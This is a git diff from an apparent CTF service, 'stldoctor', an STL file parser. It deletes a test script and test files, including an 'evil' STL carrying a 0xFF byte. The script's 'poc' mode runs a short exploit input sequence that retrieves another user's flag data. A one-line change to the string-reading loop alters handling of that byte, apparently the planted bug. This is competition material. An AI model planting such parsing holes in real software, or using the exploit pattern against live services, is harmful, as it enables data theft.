aboutsummaryrefslogtreecommitdiffstats
path: root/service/src
diff options
context:
space:
mode:
Diffstat (limited to 'service/src')
-rw-r--r--service/src/test.sh119
-rw-r--r--service/src/tests/evil1.stl9
-rw-r--r--service/src/tests/flag1.stl16
-rw-r--r--service/src/tests/sample-ascii.stl16
-rw-r--r--service/src/tests/sample-binary.stlbin134 -> 0 bytes
-rw-r--r--service/src/util.c3
6 files changed, 1 insertions, 162 deletions
diff --git a/service/src/test.sh b/service/src/test.sh
deleted file mode 100644
index 69e3ea1..0000000
--- a/service/src/test.sh
+++ /dev/null
@@ -1,119 +0,0 @@
-#!/bin/sh
-
-set -e
-
-# RUNTYPE=1
-
-SCRIPTPATH="$(dirname $(readlink -f "$0"))"
-cd "$SCRIPTPATH"
-
-export RESULTDIR="../data/scans"
-export ECHO_INPUT=1
-
-announce() {
- count=$(echo "$1" | wc -c)
- python3 -c "
-import math
-s = '$1'
-c = 80
-print()
-print('#'*c)
-print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
-print('#'*c)
-print()
- "
-}
-
-checkleaks() {
- valgrind --leak-check=full ./stldoctor 2>&1 | tee /tmp/testlog
- if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
- echo "Valgrind exited with errors!"
- exit 1
- fi
-}
-
-connect() {
- if [ "$RUNTYPE" == "remote" ]; then
- nc localhost 9000
- elif [ "$RUNTYPE" == "debug" ]; then
- checkleaks
- else
- ./stldoctor
- fi
-}
-
-if [ "$1" == "stl" ]; then
-
- announce "Testing ASCII STL Parsing"
- (
- echo "echo"
- echo "submit"
- cat tests/sample-ascii.stl | wc -c
- cat tests/sample-ascii.stl
- echo "ASCII-testname"
- ) | checkleaks
-
- announce "Testing BIN STL Parsing"
- (
- echo "echo"
- echo "submit"
- cat tests/sample-binary.stl | wc -c
- cat tests/sample-binary.stl
- echo "BIN-testname"
- ) | checkleaks
-
-elif [ "$1" == "poc" ]; then
-
- announce "Testing Proof-Of-Concept"
-
- [ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"/*
-
- echo -e "\n--- Uploading target STL ---\n" 1>&2
- (
- echo "echo"
- echo "submit"
- cat tests/flag1.stl | wc -c
- cat tests/flag1.stl
- echo "N0TaFL4G"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Uploading evil STL ---\n" 1>&2
- (
- echo "echo"
- echo "submit"
- cat tests/evil1.stl | wc -c
- cat tests/evil1.stl
- echo "EV1L"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Testing Exploit ---\n" 1>&2
- (
- echo "echo"
-
- # try index 0
- echo "query"
- echo "EV1L"
- echo "0"
- echo "n"
-
- echo "query last"
- echo "0"
- echo "n"
-
- # try index 1
- echo "query"
- echo -e "EV1L"
- echo "0"
- echo "n"
-
- echo "query last"
- echo "1"
- echo "n"
- echo "exit"
- ) | connect
-
-else
- connect
-fi
diff --git a/service/src/tests/evil1.stl b/service/src/tests/evil1.stl
deleted file mode 100644
index 706e9e2..0000000
--- a/service/src/tests/evil1.stl
+++ /dev/null
@@ -1,9 +0,0 @@
-solid test˙
-facet normal 0 0 1.0
- outer loop
- vertex 1 0 0
- vertex 1 1 0
- vertex 0 1 0
- endloop
- endfacet
-endsolid
diff --git a/service/src/tests/flag1.stl b/service/src/tests/flag1.stl
deleted file mode 100644
index f2a3854..0000000
--- a/service/src/tests/flag1.stl
+++ /dev/null
@@ -1,16 +0,0 @@
-solid ENO{TESTFLAG}
- facet normal 1.0 0 0
- outer loop
- vertex 0 1 0
- vertex 0 1 1
- vertex 0 0 1
- endloop
- endfacet
- facet normal 0 0 1.0
- outer loop
- vertex 1 0 0
- vertex 1 1 0
- vertex 0 1 0
- endloop
- endfacet
-endsolid
diff --git a/service/src/tests/sample-ascii.stl b/service/src/tests/sample-ascii.stl
deleted file mode 100644
index e3c89ef..0000000
--- a/service/src/tests/sample-ascii.stl
+++ /dev/null
@@ -1,16 +0,0 @@
-solid test
- facet normal 1.0 0 0
- outer loop
- vertex 0 1 0
- vertex 0 1 1
- vertex 0 0 1
- endloop
- endfacet
- facet normal 0 0 1.0
- outer loop
- vertex 1 0 0
- vertex 1 1 0
- vertex 0 1 0
- endloop
- endfacet
-endsolid test
diff --git a/service/src/tests/sample-binary.stl b/service/src/tests/sample-binary.stl
deleted file mode 100644
index 13c02e4..0000000
--- a/service/src/tests/sample-binary.stl
+++ /dev/null
Binary files differ
diff --git a/service/src/util.c b/service/src/util.c
index c53f92b..bf6e872 100644
--- a/service/src/util.c
+++ b/service/src/util.c
@@ -75,10 +75,9 @@ void
freadstr(FILE *f, char **dst)
{
size_t start, len;
- char c;
start = ftell(f);
- for (len = 0; (c = fgetc(f)) != EOF && c; len++);
+ for (len = 0; fgetc(f) > 0; len++);
fseek(f, start, SEEK_SET);
*dst = checkp(calloc(1, len + 1));